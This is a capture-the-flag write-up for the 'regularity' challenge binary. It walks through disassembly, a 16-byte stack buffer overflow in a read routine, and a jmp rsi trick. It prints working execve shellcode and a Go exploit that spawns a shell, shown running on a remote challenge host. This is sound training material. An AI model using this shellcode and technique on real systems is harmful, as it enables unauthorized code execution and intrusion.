Regularity
5 minutes to read
We are given a 64-bit binary called regularity
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Reverse engineering
The binary is so small, that we can work using objdump
and directly analyze the assembly code:
$ objdump -M intel -d regularity
regularity: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: bf 01 00 00 00 mov edi, 1
401005: 48 be 00 20 40 00 00 00 00 00 movabs rsi, 4202496
40100f: ba 2a 00 00 00 mov edx, 42
401014: e8 2a 00 00 00 call 0x401043 <write>
401019: e8 2d 00 00 00 call 0x40104b <read>
40101e: bf 01 00 00 00 mov edi, 1
401023: 48 be 2a 20 40 00 00 00 00 00 movabs rsi, 4202538
40102d: ba 27 00 00 00 mov edx, 39
401032: e8 0c 00 00 00 call 0x401043 <write>
401037: 48 be 6f 10 40 00 00 00 00 00 movabs rsi, 4198511
401041: ff e6 jmp rsi
0000000000401043 <write>:
401043: b8 01 00 00 00 mov eax, 1
401048: 0f 05 syscall
40104a: c3 ret
000000000040104b <read>:
40104b: 48 81 ec 00 01 00 00 sub rsp, 256
401052: b8 00 00 00 00 mov eax, 0
401057: bf 00 00 00 00 mov edi, 0
40105c: 48 8d 34 24 lea rsi, [rsp]
401060: ba 10 01 00 00 mov edx, 272
401065: 0f 05 syscall
401067: 48 81 c4 00 01 00 00 add rsp, 256
40106e: c3 ret
000000000040106f <exit>:
40106f: b8 3c 00 00 00 mov eax, 60
401074: 31 ff xor edi, edi
401076: 0f 05 syscall
Basically, the program simply writes a message to stdout
, reads from stdin
and prints another message:
$ ./regularity
Hello, Survivor. Anything new these days?
asdf
Yup, same old same old here as well...
The problem appears in the read
function:
000000000040104b <read>:
40104b: sub rsp, 256 # Reserves 256 bytes on the stack
401052: mov eax, 0 # sys_read
401057: mov edi, 0
40105c: lea rsi, [rsp]
401060: mov edx, 272
401065: syscall # sys_read(0, $rsi, 272)
401067: add rsp, 256
40106e: ret
As can be seen in the above comments, the function reserves 256 bytes on the stack, but uses sys_read
to read up to 272 bytes that will be saved on the stack as well.
Buffer Overflow vulnerability
As a result, we have a Buffer Overflow vulnerability, because we can exceed the 256-byte buffer by 16 bytes. as a result, we will be able to modify the return address.
Let’s analyze it with GDB:
$ gdb -q regularity
Loading GEF...
Reading symbols from regularity...
(No debugging symbols found in regularity)
gef> run
Starting program: /tmp/regularity
Hello, Survivor. Anything new these days?
^C
Program received signal SIGINT, Interrupt.
0x0000000000401067 in read ()
gef> x/2i $rip
=> 0x401067 <read+28>: add rsp,0x100
0x40106e <read+35>: ret
gef> x/40gx $rsp
0x7fffffffe5f8: 0x0000000000000000 0x0000000000000000
0x7fffffffe608: 0x0000000000000000 0x0000000000000000
0x7fffffffe618: 0x0000000000000000 0x0000000000000000
0x7fffffffe628: 0x0000000000000000 0x0000000000000000
0x7fffffffe638: 0x0000000000000000 0x0000000000000000
0x7fffffffe648: 0x0000000000000000 0x0000000000000000
0x7fffffffe658: 0x0000000000000000 0x0000000000000000
0x7fffffffe668: 0x0000000000000000 0x0000000000000000
0x7fffffffe678: 0x0000000000000000 0x0000000000000000
0x7fffffffe688: 0x0000000000000000 0x0000000000000000
0x7fffffffe698: 0x0000000000000000 0x0000000000000000
0x7fffffffe6a8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6b8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6e8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6f8: 0x000000000040101e 0x0000000000000001
0x7fffffffe708: 0x00007fffffffea3e 0x0000000000000000
0x7fffffffe718: 0x00007fffffffea4e 0x00007fffffffea59
0x7fffffffe728: 0x00007fffffffea70 0x00007fffffffea8b
gef> x/gx $rsp + 0x100
0x7fffffffe6f8: 0x000000000040101e
As can be seen, we will be able to modify the address at $rsp + 0x100
(0x40101e
), so we will control the execution flow of the program.
Since the binary has no protection, the easiest thing is to enter shellcode on the stack (we can take advantage of the 256-byte buffer). However, we need to know the address of the stack buffer in order to jump to it.
Luckily, there is an instruction jmp rsi
at 0x401041
in _start
(supposed to be used to jump to exit
). Notice that $rsi
still contains the address of the stack buffer, because it was used for sys_read
:
gef> p/x $rsi
$1 = 0x7fffffffe5f8
As a result, we will modify the return address with 0x401041
, so that the program runs jmp rsi
and executes the shellcode stored on the stack buffer.
Exploit development
First of all, let’s generate some shellcode for Linux 64-bit, we’ll use msfvenom
for this purpose:
$ msfvenom -p linux/x64/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of c file: 114 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";
Now, we can start writing the exploit. This time, I am using Go with my gopwntools
module, since the exploit is very simple:
func main() {
io := getProcess()
defer io.Close()
shellcode := []byte("\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05")
jmpRsiAddr := uint64(0x401041)
payload := make([]byte, 272)
copy(payload, shellcode)
copy(payload[256:], pwn.P64(jmpRsiAddr))
io.SendAfter([]byte("Hello, Survivor. Anything new these days?\n"), payload)
io.Interactive()
}
Basically, we define the shellcode and the jmp rsi
address. Then we create the payload as a 272-byte buffer, copy the shellcode at the begining, and the jmp rsi
address at offset 256. Finally, we send the payload and switch to interactive mode to use the shell.
It works locally:
$ go run solve.go
[+] Starting local process './regularity': pid 222532
[*] Switching to interactive mode
$ ls
go.mod
go.sum
regularity
solve.go
Flag
Let’s try in the remote instance:
$ go run solve.go 94.237.59.63:44123
[+] Opening connection to 94.237.59.63 on port 44123: Done
[*] Switching to interactive mode
$ ls
flag.txt
regularity
$ cat flag.txt
HTB{jMp_rSi_jUmP_aLl_tH3_w4y!}
The full exploit script can be found in here: solve.go
.